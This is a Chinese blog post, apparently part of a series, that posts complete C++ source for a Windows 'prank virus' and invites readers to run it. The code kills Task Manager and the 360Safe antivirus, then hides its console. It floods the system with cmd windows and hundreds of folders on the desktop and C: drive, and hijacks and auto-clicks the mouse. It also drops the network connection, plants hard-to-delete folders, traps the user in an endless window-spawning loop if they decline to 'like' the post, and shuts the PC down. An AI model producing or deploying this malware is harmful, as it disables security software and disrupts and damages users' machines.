当前位置: 首页 > article >正文

小小小病毒(3)(~_~|)

一分耕耘一分收获

欢迎来到小小小病毒(3)

感谢大家的支持

还是那句话:上代码!

#include <bits/stdc++.h>
#include <windows.h>
#include <stdio.h>
#include <shlobj.h>
using namespace std;
HHOOK g_hHook;

BOOL SetImmunity(char *FilePath, char *FileName) {
	char file[2048] = { 0 };

	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);
	BOOL bRet = CreateDirectory(file, NULL);
	if (bRet) {
		strcat(file, "\\anti...\\");
		bRet = CreateDirectory(file, NULL);
		if (bRet) {
			SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
			return TRUE;
		}
	}
	return FALSE;
}

void ClearImmunity(char *FilePath, char *FileName) {
	char file[2048] = { 0 };

	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);
	strcat(file, "\\anti...\\");
	RemoveDirectory(file);

	ZeroMemory(file, MAX_PATH);
	strncpy(file, FilePath, strlen(FilePath));
	strcat(file, FileName);
	RemoveDirectory(file);
}

void lrud(int n=1){
	if(n==1){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_LEFT,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0);	
	}else if(n==2){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_UP,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);		
	}else if(n==3){
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_RIGHT,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0);		
	}else{
		keybd_event(VK_CONTROL,0,0,0);
		keybd_event(VK_MENU,0,0,0);
		keybd_event(VK_DOWN,0,0,0);
		keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);
		keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);	
	}
}

void for_lrud(){
	for(int i=1;i<=4;i++){
		lrud(i);
	}
	lrud(2);
}

LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {
  	if (nCode == HCBT_ACTIVATE) {
    	HWND hMsgBox = (HWND)wParam;
        SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);
        UnhookWindowsHookEx(g_hHook);
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

string itos3(int n){
	int a,b,c;
	a=n/100;
	b=n%100/10;
	c=n%10;
	string s="";
	if(a!=0){
		char d=a+'0';
		s+=d;		
	}
	if(b!=0||(b==0&&a!=0)){
		char d=b+'0';
		s+=d;
	}
	if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){
		char d=c+'0';
		s+=d;
	}
	return s;
}

struct vir{
	struct wenjian{
		void xingshi(){
			system("taskkill /f /im taskmgr.exe");
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			if (hwnd){
				ShowOwnedPopups(hwnd, SW_HIDE);
			    ShowWindow(hwnd, SW_HIDE);
			}
			MessageBox(NULL,"新年新气象","古诗",MB_OK);
			MessageBox(NULL,"新年多上当","古诗",MB_OK);
			MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);	
			MessageBox(NULL,"那里有个中分头","古诗",MB_OK);	
			MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);
			MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);	
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);
			Sleep(2000);
			WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);			
			HWND hw=FindWindow("360Safe.exe",NULL);
			if(hw!=NULL){
				ShowWindow(hw,SW_HIDE);
			}
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);	
			Sleep(500);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			Sleep(4000);
			g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());
			MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);
			ShowOwnedPopups(hwnd, SW_HIDE);
			ShowWindow(hwnd, SW_HIDE);			
			int ll=10000;
			while(ll--){
				int cx=GetSystemMetrics(SM_CXSCREEN);
				int cy=GetSystemMetrics(SM_CYSCREEN);
				SetCursorPos(rand() % cx,rand() % cy);
			}
		}
		void vira(){
			xingshi();
			int ll=100;
			while(ll--){
				system("start cmd");
			}
			MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);
			Sleep(20000);
			MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);	
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			Sleep(20000);
			MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);			
			int ii=100000;
			while(ii--){
				SetCursorPos(1,1);
			}
			MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);
			int iii=10000;
			while(iii--){
				mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
				mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
			}
			for(int i=1;i<=100;i++){
				string jj="mkdir C:\\a";
				jj+=itos3(i);
				system(jj.data());
			}
			MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);
			MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);
			Sleep(10000);
			MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);
			for_lrud();
			MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);
			for(int i=1;i<=999;i++){
				string jj="mkdir C:\\a";
				jj+=itos3(i);
				system(jj.data());
				string jjb="mkdir C:\\b";
				jjb+=itos3(i);
				system(jjb.data());	
			}
			MessageBox(NULL,"给你断开网络","提示",MB_OK|MB_ICONWARNING);
			Sleep(500);
			system("ipconfig /release");
			while(1){
				int s=MessageBox(NULL,"二选一","提示",MB_YESNO|MB_ICONWARNING);
				if(s==IDNO){
					MessageBox(NULL,"???","提示",MB_OK|MB_ICONWARNING);
				}else if(s==IDYES){
					break;
				}
			}
			MessageBox(NULL,"给你整几个不可删文件","提示",MB_OK|MB_ICONWARNING);
			char *Fuck[4] = { "你", "好", "世", "界" };
			int FuckLen = sizeof(Fuck) / sizeof(int);
			TCHAR Destop[MAX_PATH];
			SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);
			for (int i = 0; i < 5; i++) {
				for (int x = 0; x < FuckLen; x++) {
					SetImmunity("C:\\Users\\Administrator\\Desktop\\", Fuck[x]);
					ClearImmunity("c://", Fuck[x]);
				}
			}
			int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);
			if(pp==IDCANCEL){
				while(1){
					system("start cmd");
					srand(time(0));
					SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));
					lrud(rand()%4+1);
				}
			}
			HWND hwnd;
			hwnd = FindWindow("ConsoleWindowClass", NULL);
			ShowOwnedPopups(hwnd, SW_SHOW);
			ShowWindow(hwnd, SW_SHOW);
			MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);
			system("shutdown -p");
		}
	}wen;
}virus;

int main(){
	virus.wen.vira();
}

运行截图:

.............................


http://www.kler.cn/a/546669.html

相关文章:

  • python后端调用Deep Seek API
  • (Windows | Linux)ssh访问服务器报错:no matching key exchange method found
  • C++ Primer 参数传递
  • Linux | 进程相关概念(进程、进程状态、进程优先级、环境变量、进程地址空间)
  • 盛铂科技 SCP4006/4018/4040:国产袖珍式功率计 射频微波功率探头 平均功率计
  • 在项目中操作 MySQL
  • java.lang.IllegalArgumentException: 在请求目标中找到无效字符。有效字符在RFC 7230和RFC 3986中定义
  • 初学总结SpringBoot项目在mac上环境搭建和运行
  • 每日一题——最长公共子序列
  • gitcode使用导航
  • ProxySQL构建PolarDB-X标准版高可用路由服务三节点集群
  • 盛铂科技SWFA200捷变频频率综合器:高速跳频与卓越性能的完美结合
  • flutter常见面试题(欢迎私信投稿——更新到10)
  • 华为手机鸿蒙4回退到鸿蒙3到鸿蒙2再回退到EMUI11 最后关闭系统更新
  • 独立C++ asio库实现的UDP Client
  • 鸿蒙Next开发-添加水印以及点击穿透设置
  • 在带有Intel NPU的Windows上安装IPEX-LLM
  • RadASM环境,win32汇编入门教程之三
  • 基于Ceedling的嵌入式软件单元测试
  • 数字图像基础:像素、分辨率、灰度图像与彩色图像
  • 【代码随想录】刷题记录(115)-岛屿数量(广搜)
  • Vue3 从入门到精通:全面掌握前端框架的进阶之路
  • Java 设计模式之组合模式
  • Windows 图形显示驱动开发-WDDM 2.0 -Gpu段
  • 云计算——ACA学习 云计算分类
  • ESP学习-1(MicroPython VSCode开发环境搭建)